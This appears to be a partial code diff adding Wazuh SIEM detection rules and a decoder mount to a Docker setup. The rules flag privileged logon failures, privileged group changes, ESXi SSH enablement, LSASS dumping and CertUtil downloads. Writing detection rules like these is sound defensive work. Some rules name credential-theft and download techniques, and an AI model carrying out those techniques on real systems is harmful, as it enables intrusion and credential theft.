+  </rule>
212
+  <rule id="110335" level="12">
213
+    <match>subtype="vpn"</match>
214
+    <match>success=true</match>
215
+    <match>country=</match>
216
+    <description>A3 production: VPN success with country context (geo-anomaly candidate)</description>
217
+    <group>soc_mvp_prod,appendix_a,a3,vpn,geo,</group>
218
+  </rule>
219
+
220
+  <!-- Appendix A4: Windows / Active Directory -->
221
+  <rule id="110341" level="8">
222
+    <match>source=windows</match>
223
+    <match>event_id=4625</match>
224
+    <match>is_admin=true</match>
225
+    <description>A4 production: Privileged account authentication failures</description>
226
+    <group>soc_mvp_prod,appendix_a,a4,windows,auth_fail,</group>
227
+  </rule>
228
+  <rule id="110342" level="8">
229
+    <match>source=windows</match>
230
+    <match>event_id=4625</match>
231
+    <match>is_service=true</match>
232
+    <description>A4 production: Service account authentication failures</description>
233
+    <group>soc_mvp_prod,appendix_a,a4,windows,auth_fail,</group>
234
+  </rule>
235
+  <rule id="110346" level="12">
236
+    <match>source=windows</match>
237
+    <match>event_id=4624</match>
238
+    <match>src_ip=</match>
239
+    <description>A4 production: Windows successful authentication with source IP context</description>
240
+    <group>soc_mvp_prod,appendix_a,a4,windows,auth_success,</group>
241
+  </rule>
242
+  <rule id="110352" level="12">
243
+    <match>source=windows</match>
244
+    <match>event_id=4728</match>
245
+    <match>target_group=</match>
246
+    <description>A4 production: Account added to privileged group (domain scope)</description>
247
+    <group>soc_mvp_prod,appendix_a,a4,windows,privilege,</group>
248
+  </rule>
249
+  <rule id="110353" level="12">
250
+    <match>source=windows</match>
251
+    <match>event_id=4732</match>
252
+    <match>target_group=</match>
253
+    <description>A4 production: Account added to privileged group (local scope)</description>
254
+    <group>soc_mvp_prod,appendix_a,a4,windows,privilege,</group>
255
+  </rule>
256
+
257
+  <!-- Appendix B1: VMware -->
258
+  <rule id="110401" level="12">
259
+    <decoded_as>soc-vmware-auth</decoded_as>
260
+    <match>event_type=vmware_</match>
261
+    <match>_fail_success</match>
262
+    <description>B1 production: vCenter login burst pattern</description>
263
+    <group>soc_mvp_prod,appendix_b,b1,vmware,</group>
264
+  </rule>
265
+  <rule id="110402" level="8">
266
+    <decoded_as>soc-vmware-auth</decoded_as>
267
+    <match>event_type=vmware_esxi_enable_ssh</match>
268
+    <description>B1 production: ESXi SSH enabled</description>
269
+    <group>soc_mvp_prod,appendix_b,b1,vmware,</group>
270
+  </rule>
271
+
272
+  <!-- Appendix B2: Log monitoring -->
273
+  <rule id="110411" level="5">
274
+    <decoded_as>soc-log-monitor</decoded_as>
275
+    <match>event_type=log_loss_detection</match>
276
+    <match>missing_stream=</match>
277
+    <description>B2 production: Log loss detection signal</description>
278
+    <group>soc_mvp_prod,appendix_b,b2,logmonitor,</group>
279
+  </rule>
280
+
281
+  <!-- Appendix B3: Sysmon -->
282
+  <rule id="110421" level="12">
283
+    <decoded_as>soc-windows-sysmon</decoded_as>
284
+    <match>target_process=lsass.exe</match>
285
+    <description>B3 production: LSASS dump behavior</description>
286
+    <group>soc_mvp_prod,appendix_b,b3,sysmon,credential_access,</group>
287
+  </rule>
288
+  <rule id="110426" level="8">
289
+    <decoded_as>soc-windows-sysmon</decoded_as>
290
+    <match>process=certutil.exe</match>
291
+    <description>B3 production: CertUtil download pattern</description>
292
+    <group>soc_mvp_prod,appendix_b,b3,sysmon,</group>
293
+  </rule>
294
+
295
+  <!-- Appendix C1-C3: future enhancement (production-prep heuristics) -->
296
+  <rule id="110501" level="12">
297
+    <match>event_type=c1_impossible_travel</match>
298
+    <description>C1 production: Impossible travel correlated event</description>
299
+    <group>soc_mvp_prod,appendix_c,c1,identity,</group>
300
+  </rule>
301
+  <rule id="110511" level="12">
302
+    <match>event_type=c2_credential_abuse</match>
303
+    <description>C2 production: Credential abuse correlated event</description>
304
+    <group>soc_mvp_prod,appendix_c,c2,identity,</group>
305
+  </rule>
306
+  <rule id="110521" level="12">
307
+    <match>event_type=c3_lateral_movement</match>
308
+    <description>C3 production: Lateral movement correlated event</description>
309
+    <group>soc_mvp_prod,appendix_c,c3,lateral_movement,</group>
310
+  </rule>
110 311
 </group>

+ 1 - 0
wazuh-docker/single-node/docker-compose.yml

@@ -42,6 +42,7 @@ services:
42 42
       - ./config/wazuh_indexer_ssl_certs/wazuh.manager.pem:/etc/ssl/filebeat.pem
43 43
       - ./config/wazuh_indexer_ssl_certs/wazuh.manager-key.pem:/etc/ssl/filebeat.key
44 44
       - ./config/wazuh_cluster/wazuh_manager.conf:/var/ossec/etc/ossec.conf
45
+      - ./config/wazuh_cluster/local_decoder.xml:/var/ossec/etc/decoders/local_decoder.xml
45 46
       - ./config/wazuh_cluster/local_rules.xml:/var/ossec/etc/rules/local_rules.xml
46 47
 
47 48
   wazuh.indexer: